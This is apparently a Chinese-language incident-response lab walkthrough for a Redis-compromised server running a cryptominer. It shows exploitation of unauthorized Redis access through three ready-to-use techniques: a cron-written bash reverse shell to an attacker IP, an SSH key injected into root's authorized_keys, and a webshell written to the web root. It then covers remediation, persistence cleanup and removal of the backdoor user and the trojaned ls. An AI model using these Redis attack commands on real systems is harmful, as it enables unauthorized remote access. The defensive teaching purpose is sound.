應急響應-挖礦問題

場景

​ 有客戶回饋其所使用的伺服器近期突然網站打開特別慢,但是網站訪問人數較前期並無明顯變化,伺服器CPU利用率較高。同時客戶接到投訴反映通過搜索引擎搜索該網站點擊後會跳轉到博彩網站。請協助客戶分析該伺服器遭受何種攻擊並恢復伺服器正常運行。同時幫助客戶清理惡意程式,阻止黑客再次入侵。

A:首先top看一下cpu記憶體佔用情況
0

B:登錄伺服器先查看一下埠情況,發現開啟了redis-server

並且可以看到redis-server監聽在0.0.0.0:6379

0

C:查看是否存在redis未授權訪問

redis-cli -h 192.168.52.135

查看redis版本資訊、一些具體資訊、伺服器版本資訊等等:info

查看所有鍵:KEYS *

0

可以看到redsi存在未授權訪問

0

D:判斷redsi是否為root許可權

netstat -anptl 
ps -aux| grep 30

發現redis是root用戶啟動的,且同時redis存在未授權訪問

0

redis未授權一般利用方式有以下三種:

第一種:反彈shell

root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/2333 0>&1\n\n"     //1分鐘後執行計劃任務
OK
192.168.52.135:6379> config set dir /var/spool/cron
OK
192.168.52.135:6379> config set dbfilename root
OK
192.168.52.135:6379> save
OK

可以看到成功寫入計劃任務

0

第二種:寫ssh-keygen公鑰,然後使用私鑰登陸

在以下條件下,可以利用此方法

  • Redis服務使用ROOT帳號啟動
  • 伺服器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程伺服器。

首先在本地生成一對密鑰:

ssh-keygen -t rsa

0

然後redis執行命令:

root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> config set dir /root/.ssh/
OK
192.168.52.135:6379> config set dbfilename authorized_keys
OK
192.168.52.135:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiF1o01tlJug4myll3sN/z3IRABopXPAIQMYnCWYxxh7Ud3sLzsSv6sufKyKS3f6Hlrbv7/av0irgwFUHOXn1cBL79SnRvsKsbY3Gqlac+FUKF4BiuHsOOp1SZwJTbYPi1wsCsGpzIAv4FC9h5GuLMgn/XR9boPBd6RyyM+NM34k+so6M1DEY69hRdVm4mspOiBMRt8XDBSGu/daaQvAZQAeE0kmKv9GcAULD06WaEoth1+pRsQ3tIB6C+9dNZEa7ODTtL44mJUqWZVEINUylzJz+LgKw3NLGP/hr1xqoj2mllThCtJJe5axxkYkE1qSf7KFHsAlqtnBoGSrJn5cD9GaT5TVU9sUi289OCQVObpzboNJ6YYAlfoMCH8VSEg6On/NYUY4+qBQdLEPj9fC/XSAOnc0wK6RZ85P8tB1E5RC3JOvZhCjDWCKbuW/cue9ukm+cOY7gvbP1OcXWhFMxw/SI64zvdECyDH0QsdT82kTKVLcVdwunDjENy1TbbCGE= root@kali\n\n\n"
OK
192.168.52.135:6379> save
OK

0

save後可以直接利用公鑰登錄ssh

[root@kali:~# cd .ssh/
[root@kali:~/.ssh# ssh -i id_rsa [email protected]

0

第三種:向web路徑寫webshell

當redis許可權不高時,並且伺服器開著web服務,在redis有web目錄寫許可權時,可以嘗試往web路徑寫webshell

執行以下命令

root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> config set dir /var/www/html/
OK
192.168.52.135:6379> config set dbfilename shell.php
OK
192.168.52.135:6379> set x ""
OK
192.168.52.135:6379> save
OK

0

//172.17.0.2/shell.php

0

一般redis未授權修復:

  • 限制登錄ip
  • 添加密碼
  • 修改默認埠

1、redis未授權修復

將redis服務改為監聽本地,或為redis訪問設置⼝令即可。

A:首先結束掉redis服務

0

B:修改監聽地址為127.0.0.1

root@65c7d9159ef6:~# cat /etc/redis/redis.conf

修改redis配置⽂件 將/etc/redis/redis.conf中的 #bind 127.0.0.1 改為 bind 127.0.0.1

0

或 將/etc/redis/redis.conf中的 # requirepass foobared 改為 requirepass foobared

0

註:redis修改requirepass 參數 改密碼

參考://www.cnblogs.com/ruozhisi/p/12199311.html

\1. 不重啟redis如何配置密碼?

a. 在配置文件中配置requirepass的密碼(當redis重啟時密碼依然有效)。

# requirepass foobared -》 修改成 : requirepass 123

b. 進入redis重定義參數

查看當前的密碼:

連接客戶端:redis-cli

redis 127.0.0.1:6379>

redis 127.0.0.1:6379> config get requirepass

  1. “requirepass”

  2. (nil) 顯示密碼是空的

c. 然後設置密碼:

redis 127.0.0.1:6379> config set requirepass 123

OK

d. 再次查詢密碼:

redis 127.0.0.1:6379> config get requirepass

(error) ERR operation not permitted

此時報錯了!

現在只需要密碼認證就可以了。

redis 127.0.0.1:6379> auth 123

OK

e. 再次查詢密碼:

redis 127.0.0.1:6379> config get requirepass

  1. “requirepass”

  2. “test123”

修改成功

0

C:修改完配置後重新啟動redis服務

使⽤命令 redis-server /etc/redis/redis.conf 啟動redis服務

0

可以看到配置文件已經生效,我們再來驗證下

可以看到連接被拒絕,說明沒有問題

0

2、使用非root用戶啟動redsi服務

使⽤⾮root⽤戶運⾏redis服務即可。

A. 終⽌原redis進程

ps -ef|grep redis-server|awk '{print $2}'|xargs kill -9

0

B.:使⽤⾮root⽤戶啟動redis服務,如,通過init.d中的redis管理項啟動

# 啟動後redis-server的運⾏⽤戶為redis:redis

root@65c7d9159ef6:~# cd /etc/init.d

root@65c7d9159ef6:/etc/init.d# ./redis-server start

0

3、挖礦進程清除

A:top

0

B.:查看進程清單找出CPU占⽤⾼的進程

0

root@65c7d9159ef6:~# ps -ef | grep mycoin

發現/usr/share/mycoin/mycoin文件運行時載入的json配置文件中包含礦池地址以及連接的用戶名密碼

root@65c7d9159ef6:~# cat /usr/share/mycoin/config.json
{                                                                                                            
​    "threads":2,                // number of miner threads
​    "pools": [
​        {
​            "url": "stratum+tcp://u1pool.com:18888",               // URL of mining server
​            "user": "UP57on3ZKh6DDVUBv8d97awyrTfE8vXTF5.test01",   // username for mining server 
​            "pass": "x"                                            // password for mining server
​        }
​    ]
}

0

C:終⽌挖礦進程

0

4、Linux開機自啟動排查

參考://www.cnblogs.com/shigfdengys/p/11169617.html

A:/etc/init.d/下的腳本

chkconfig --list | grep mycoin

0

參考://blog.csdn.net/jlq_diligence/article/details/80680492

B:/etc/rc.local

cat /etc/rc.local | grep mycoin

0

刪除掉 /usr/share/mycoin/mycoin -c /usr/share/mycoin/config.json -B 內容即可

0

C:文件指向路徑是/etc/init.d下的腳本文件

/etc/rc[0-6].d

0

D:設置程式的.desktop文件

program.desktop文件寫法:

[Desktop Entry]

Name=program

Exec=/usr/bin/program

Type=Application

Comment=my program

0

E:crontab定時執行任務

周期執行的任務一般由cron這個守護進程來處理[ps -ef|grep cron]

cron的配置文件稱為「crontab」,是「cron table」的簡寫

  service crond start //啟動服務

  service crond stop //關閉服務

  service crond restart //重啟服務

  service crond reload //重新載入配置

  service crond status //查看服務狀態

每兩個小時

0 */2 * * * echo “Have a break now.” >> /tmp/test.txt

crontab -l //在標準輸出上顯示當前的c

crontab -r // 刪除當前的crontab文件。

crontab -e //使用VISUAL或者EDITOR環境變數所指的編輯器編輯當前的crontab文件,當結束編輯離開時,編輯後的文件將自動安裝。

0

順著計劃任務所指向的文件目錄查找

0

發現挖礦程式和配置文件,但是發現沒有相關經常,說明計劃任務沒有執行

0

刪除上述挖礦程式和配置文件,刪除計劃任務

root@65c7d9159ef6:~# cd /etc/init.d

0

查看mine_srv文件內容,發現

PROG="mining"

PROG_PATH="/usr/local/sbin" ## Not need, but sometimes helpful (if $PROG resides in /opt for example).

PROG_ARGS="-c /etc/mine_srv/config.json -B" 

0

分別查看以上幾個路徑,發現json文件為挖礦配置文件,但是無相關進程

0

刪除以上可執行程式和配置文件

5、backdoor用戶刪除

在/etc/passwd中發現backdoor用戶,但是刪除是提示backdoor用戶當前被進程1使用

userdel -f backdoor

0

因為我們現在是root用戶,直接可以修改/etc/passwd和/etc/shadow

刪掉backdoor用戶

0

6、清除ls動態鏈接庫後門
當執行ls命令時,發現提示「backdoor組已經存在」,猜測ls命令被更改了

先刪除backdoor組,然後執行ls命令沒有提示了,再次查看/etc/passwd,發現被添加了backdoor用戶,說明/bin/ls ⽂件的動態鏈接庫中被添加了後⻔程式

0

刪除/bin/ls可執行文件,重新上傳一個從其他伺服器上提取的ls文件替換即可。